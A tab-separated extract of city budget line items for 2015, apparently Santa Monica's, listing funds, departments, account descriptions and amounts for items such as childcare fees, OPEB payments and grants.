17488	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2015	38855	0	0	0	0	0	0	0	0	0	0	0	38855
17489	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	26977	0	0	0	0	0	0	0	0	0	0	0	26977
17490	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555218.0	COMMUNITY EMERGENCY RESP TEAM	804.0	 Supplies and Expenses	2015	24314	0	0	0	0	0	0	0	0	0	0	0	24314
17491	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DCAP	804.0	Salaries and Wages	2015	2210	0	0	0	0	0	0	0	0	0	0	0	2210
17492	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511498.0	OT PARAMEDIC SCHOOL	806.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17493	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401132.0	SOFTBALL LEAGUES	612.0	Charges for Service	2015	-89100	0	0	0	0	0	0	0	0	0	0	0	-89100
17494	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	6800	0	0	0	0	0	0	0	0	0	0	0	6800
17495	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	57910	0	0	0	0	0	0	0	0	0	0	0	57910
17496	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	2400	0	0	0	0	0	0	0	0	0	0	0	2400
17497	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17498	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544145.0	SIDEWALK MATERIALS	808.0	 Supplies and Expenses	2015	24105	0	0	0	0	0	0	0	0	0	0	0	24105
17499	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409007.0	CHILDCARE-MARCH	612.0	Charges for Service	2015	-31617	0	0	0	0	0	0	0	0	0	0	0	-31617
17500	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409010.0	CHILDCARE-JUNE	612.0	Charges for Service	2015	-13867	0	0	0	0	0	0	0	0	0	0	0	-13867
17501	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409023.0	ENRICHMENT-SPRING	612.0	Charges for Service	2015	-94000	0	0	0	0	0	0	0	0	0	0	0	-94000
17502	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409041.0	ELEM SPORTS-FALL	612.0	Charges for Service	2015	-64550	0	0	0	0	0	0	0	0	0	0	0	-64550
17503	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409042.0	ELEM SPORTS-WINTER	612.0	Charges for Service	2015	-61102	0	0	0	0	0	0	0	0	0	0	0	-61102
17504	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2015	11000	0	0	0	0	0	0	0	0	0	0	0	11000
17505	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2015	13262	0	0	0	0	0	0	0	0	0	0	0	13262
17506	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	510000.0	SALARIES AND WAGES	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17507	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	102360	0	0	0	0	0	0	0	0	0	0	0	102360
17508	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2015	2579	0	0	0	0	0	0	0	0	0	0	0	2579
17509	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2015	14372	0	0	0	0	0	0	0	0	0	0	0	14372
17510	BA	IS	19	CDBG Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577723.0	CDBG - RESIDENTIAL REHAB PROG		 Supplies and Expenses	2015	300000	0	0	0	0	0	0	0	0	0	0	0	300000
17511	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	579440.0	CIVIC PARKING BOND 2015DBT SVC	910.0	 Supplies and Expenses	2015	2100000	0	0	0	0	0	0	0	0	0	0	0	2100000
17512	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		OPCC-CLOVERFIELD SVS CTR	810.0	 Supplies and Expenses	2015	351378	0	0	0	0	0	0	0	0	0	0	0	351378
17513	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	555210.0	TRAINING		 Supplies and Expenses	2015	2003	0	0	0	0	0	0	0	0	0	0	0	2003
17514	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544510.0	HSGP VILLAGE TRAILER PARK DA	810.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17515	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579964.0	BBB-GEN FUND REIMB-HR	910.0	 Supplies and Expenses	2015	85882	0	0	0	0	0	0	0	0	0	0	0	85882
17516	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		OPCC-CLOVERFIELD SVS CTR-PROP	808.0	 Supplies and Expenses	2015	2900	0	0	0	0	0	0	0	0	0	0	0	2900
17517	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579013.0	DISCRET-WESTSIDE BALLET	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17518	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		FIRE STATION MAINTENANCE	808.0	 Supplies and Expenses	2015	70000	0	0	0	0	0	0	0	0	0	0	0	70000
17519	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570081.0	TRANSFER IN-WTR L-INCOME DISC		 Supplies and Expenses	2015	-20000	0	0	0	0	0	0	0	0	0	0	0	-20000
17520	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409061.0	SMSE-WINTER	612.0	Charges for Service	2015	-2355	0	0	0	0	0	0	0	0	0	0	0	-2355
17521	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409063.0	SMSE-SUMMER	612.0	Charges for Service	2015	-39980	0	0	0	0	0	0	0	0	0	0	0	-39980
17522	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407202.0	ROSIE'S GIRLS-MATERIALS FEES	622.0	Other	2015	-5100	0	0	0	0	0	0	0	0	0	0	0	-5100
17523	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522230.0	CREDIT CARD FEES		 Supplies and Expenses	2015	61119	0	0	0	0	0	0	0	0	0	0	0	61119
17524	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555510.0	1450 OCEAN	810.0	 Supplies and Expenses	2015	5000	0	0	0	0	0	0	0	0	0	0	0	5000
17525	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	410280.0	LOS AMIGOS MWD GRANT	610.0	Intergovernmental	2015	-400000	0	0	0	0	0	0	0	0	0	0	0	-400000
17526	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	2018	0	0	0	0	0	0	0	0	0	0	0	2018
17527	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2015	82	0	0	0	0	0	0	0	0	0	0	0	82
17528	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523110.0	ELECTRIC VEHI CHARGER MAINTENE	808.0	 Supplies and Expenses	2015	20000	0	0	0	0	0	0	0	0	0	0	0	20000
17529	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	250000	0	0	0	0	0	0	0	0	0	0	0	250000
17530	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544511.0	OPCC-TURNING POINT-DA	810.0	 Supplies and Expenses	2015	11246	0	0	0	0	0	0	0	0	0	0	0	11246
17531	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562156.0	FSSM-COMMUNITY MENTAL HEALTH		 Supplies and Expenses	2015	106634	0	0	0	0	0	0	0	0	0	0	0	106634
17532	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579964.0	BBB-GEN FUND REIMB-HR	908.0	 Supplies and Expenses	2015	-85882	0	0	0	0	0	0	0	0	0	0	0	-85882
17533	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562313.0	VENICE FAMI CLIC-WELNES CTR		 Supplies and Expenses	2015	170310	0	0	0	0	0	0	0	0	0	0	0	170310
17534	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2015	75835	0	0	0	0	0	0	0	0	0	0	0	75835
17535	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	588080.0	OFFICE EQUIPMENT	804.0	 Supplies and Expenses	2015	486	0	0	0	0	0	0	0	0	0	0	0	486
17536	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	403554	0	0	0	0	0	0	0	0	0	0	0	403554
17537	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2015	7137	0	0	0	0	0	0	0	0	0	0	0	7137
17538	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17539	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2015	3670	0	0	0	0	0	0	0	0	0	0	0	3670
17540	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523120.0	SOLAR MAINTENANCE	808.0	 Supplies and Expenses	2015	50000	0	0	0	0	0	0	0	0	0	0	0	50000
17541	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579015.0	DISCRET-OPA 4TH OF JULY PARADE	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17542	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	408450.0	TMD ASSESSMENT	622.0	Other	2015	-19101	0	0	0	0	0	0	0	0	0	0	0	-19101
17543	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401060.0	STATE SB 90 CLAIMS	610.0	Intergovernmental	2015	-22000	0	0	0	0	0	0	0	0	0	0	0	-22000
17544	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561180.0	HOMELESS UNIT-DIRECT SERVICES		 Supplies and Expenses	2015	66312	0	0	0	0	0	0	0	0	0	0	0	66312
17545	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579016.0	DISCRET-SOULSTICE FEST	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17546	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	4946	0	0	0	0	0	0	0	0	0	0	0	4946
17547	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
17548	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	577710.0	DOWNTOWN SHUTTLE PROGRAM	816.0	 Supplies and Expenses	2015	69224	0	0	0	0	0	0	0	0	0	0	0	69224
17549	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400270.0	ANIMAL LICENSES	608.0	Licenses and Permits	2015	-186195	0	0	0	0	0	0	0	0	0	0	0	-186195
17550	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	569101.0	STRATEGIC PREVENTION FRAME- ST	806.0	 Supplies and Expenses	2015	27947	0	0	0	0	0	0	0	0	0	0	0	27947
17551	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17552	BA	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408690.0	AFFORD HSING COMM LINKAGE FEE	622.0	Other	2015	-21000	0	0	0	0	0	0	0	0	0	0	0	-21000
17553	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	408720.0	EXPO BUFFER PARK HRP GRANT	610.0	Intergovernmental	2015	-2139850	0	0	0	0	0	0	0	0	0	0	0	-2139850
17554	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	282710	0	0	0	0	0	0	0	0	0	0	0	282710
17555	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	401700.0	CIVIC AUDITORIUM RENTALS	612.0	Charges for Service	2015	-154800	0	0	0	0	0	0	0	0	0	0	0	-154800
17556	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	408620.0	FTA NEW FREEDOM GRANT	610.0	Intergovernmental	2015	-146996	0	0	0	0	0	0	0	0	0	0	0	-146996
17557	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522230.0	CREDIT CARD FEES		 Supplies and Expenses	2015	2445	0	0	0	0	0	0	0	0	0	0	0	2445
17558	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	804.0	Salaries and Wages	2015	-913611	0	0	0	0	0	0	0	0	0	0	0	-913611
17559	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2015	-2009	0	0	0	0	0	0	0	0	0	0	0	-2009
17560	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	810.0	Salaries and Wages	2015	-11002	0	0	0	0	0	0	0	0	0	0	0	-11002
17561	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2015	6536	0	0	0	0	0	0	0	0	0	0	0	6536
17562	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	362164	0	0	0	0	0	0	0	0	0	0	0	362164
17563	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EAP	804.0	Salaries and Wages	2015	2286	0	0	0	0	0	0	0	0	0	0	0	2286
17564	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2015	96339	0	0	0	0	0	0	0	0	0	0	0	96339
17565	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2015	24418	0	0	0	0	0	0	0	0	0	0	0	24418
17566	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2015	-124776	0	0	0	0	0	0	0	0	0	0	0	-124776
17567	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	808.0	Salaries and Wages	2015	17683	0	0	0	0	0	0	0	0	0	0	0	17683
17568	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511748.0	DENTAL	804.0	Salaries and Wages	2015	24217	0	0	0	0	0	0	0	0	0	0	0	24217
17569	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511749.0	VISION	804.0	Salaries and Wages	2015	3206	0	0	0	0	0	0	0	0	0	0	0	3206
17570	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2015	-36645	0	0	0	0	0	0	0	0	0	0	0	-36645
17571	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		UNEMPLOYMENT	804.0	Salaries and Wages	2015	8730	0	0	0	0	0	0	0	0	0	0	0	8730
17572	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544080.0	LICENSE TAGS / STICKERS	804.0	 Supplies and Expenses	2015	350	0	0	0	0	0	0	0	0	0	0	0	350
17573	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	285540	0	0	0	0	0	0	0	0	0	0	0	285540
17574	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	8081	0	0	0	0	0	0	0	0	0	0	0	8081
17575	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555850.0	PROGRAM SUPPLIES	804.0	 Supplies and Expenses	2015	20000	0	0	0	0	0	0	0	0	0	0	0	20000
17576	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	566581.0	EMT CERTIFICATES	806.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17577	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522991.0	FREIGHT AND SHIPPING	848.0	 Supplies and Expenses	2015	74708	0	0	0	0	0	0	0	0	0	0	0	74708
17578	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	409220.0	LOCAL COASTAL PROGRAM GRANT	610.0	Intergovernmental	2015	-125000	0	0	0	0	0	0	0	0	0	0	0	-125000
17579	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17580	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	409230.0	3400-3500 Airport Ave Reimburs	662.0	Other	2015	-630349	0	0	0	0	0	0	0	0	0	0	0	-630349
17581	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409006.0	CHILDCARE-FEBRUARY	612.0	Charges for Service	2015	-31617	0	0	0	0	0	0	0	0	0	0	0	-31617
17582	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409009.0	CHILDCARE-MAY	612.0	Charges for Service	2015	-28731	0	0	0	0	0	0	0	0	0	0	0	-28731
17583	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409020.0	ENRICHMENT PROGRAM	612.0	Charges for Service	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17584	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409031.0	CAMP SM-WINTER	612.0	Charges for Service	2015	-3266	0	0	0	0	0	0	0	0	0	0	0	-3266
17585	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409033.0	CAMP SM-SUMMER	612.0	Charges for Service	2015	-70240	0	0	0	0	0	0	0	0	0	0	0	-70240
17586	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2015	102	0	0	0	0	0	0	0	0	0	0	0	102
17587	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	1018	0	0	0	0	0	0	0	0	0	0	0	1018
17588	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	80728	0	0	0	0	0	0	0	0	0	0	0	80728
17589	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579014.0	DISCRET-SM ARTS PARENTS	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17590	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562312.0	BOYS&GIRLS CLUB-OT OF SCH TIME	810.0	 Supplies and Expenses	2015	135000	0	0	0	0	0	0	0	0	0	0	0	135000
17591	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577733.0	CHRYSALIS-SM EMPLOYMT CTR-CDBG	810.0	 Supplies and Expenses	2015	40000	0	0	0	0	0	0	0	0	0	0	0	40000
17592	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511749.0	VISION	804.0	Salaries and Wages	2015	1148	0	0	0	0	0	0	0	0	0	0	0	1148
17593	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	1544	0	0	0	0	0	0	0	0	0	0	0	1544
17594	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	409360.0	DEVELOPER TDM PLAN FEES	612.0	Charges for Service	2015	-12961	0	0	0	0	0	0	0	0	0	0	0	-12961
17595	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569420.0	SM CONSERVANCY	810.0	 Supplies and Expenses	2015	7800	0	0	0	0	0	0	0	0	0	0	0	7800
17596	BA	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	577732.0	LAFLA-GEN COMMU LEGAL SVC-CDBG	810.0	 Supplies and Expenses	2015	80000	0	0	0	0	0	0	0	0	0	0	0	80000
17597	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409053.0	MIDDLE SPORTS-SPRING	612.0	Charges for Service	2015	-26082	0	0	0	0	0	0	0	0	0	0	0	-26082
17598	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409071.0	ROSIE'S GIRLS-SPRING	612.0	Charges for Service	2015	-5530	0	0	0	0	0	0	0	0	0	0	0	-5530
17599	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522230.0	CREDIT CARD FEES	810.0	 Supplies and Expenses	2015	97790	0	0	0	0	0	0	0	0	0	0	0	97790
17600	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522230.0	CREDIT CARD FEES		 Supplies and Expenses	2015	14668	0	0	0	0	0	0	0	0	0	0	0	14668
17601	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511020.0	MOU CONTINGENCY	804.0	Salaries and Wages	2015	1000000	0	0	0	0	0	0	0	0	0	0	0	1000000
17602	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579962.0	BBB-GEN FUND REIMB-ISD	908.0	 Supplies and Expenses	2015	-442327	0	0	0	0	0	0	0	0	0	0	0	-442327
17603	BA	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	810.0	Salaries and Wages	2015	21417	0	0	0	0	0	0	0	0	0	0	0	21417
17604	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	816.0	Salaries and Wages	2015	16007	0	0	0	0	0	0	0	0	0	0	0	16007
17605	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2015	-28855	0	0	0	0	0	0	0	0	0	0	0	-28855
17606	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	840.0	Salaries and Wages	2015	9056	0	0	0	0	0	0	0	0	0	0	0	9056
17607	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	24389	0	0	0	0	0	0	0	0	0	0	0	24389
17608	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-19944	0	0	0	0	0	0	0	0	0	0	0	-19944
17609	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DCAP	804.0	Salaries and Wages	2015	1576	0	0	0	0	0	0	0	0	0	0	0	1576
17610	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	5270	0	0	0	0	0	0	0	0	0	0	0	5270
17611	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	55737	0	0	0	0	0	0	0	0	0	0	0	55737
17612	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	556010.0	UTILITY CONTRACTS	804.0	 Supplies and Expenses	2015	469507	0	0	0	0	0	0	0	0	0	0	0	469507
17613	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17614	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	5935	0	0	0	0	0	0	0	0	0	0	0	5935
17615	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2015	11636	0	0	0	0	0	0	0	0	0	0	0	11636
17616	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511050.0	CAPITAL PROJECT STAFFING	804.0	Salaries and Wages	2015	-72521	0	0	0	0	0	0	0	0	0	0	0	-72521
17617	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544160.0	RIDESHARE PROGRAM	816.0	 Supplies and Expenses	2015	7021	0	0	0	0	0	0	0	0	0	0	0	7021
17618	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544512.0	WISE-CARE MANAGEMENT-DA	810.0	 Supplies and Expenses	2015	51552	0	0	0	0	0	0	0	0	0	0	0	51552
17619	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562157.0	FSSM-EDISON/MCKINLEY/MUIR ELEM		 Supplies and Expenses	2015	161329	0	0	0	0	0	0	0	0	0	0	0	161329
17620	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562704.0	HTA-YOUTH JOBS INITIATIVE		 Supplies and Expenses	2015	92688	0	0	0	0	0	0	0	0	0	0	0	92688
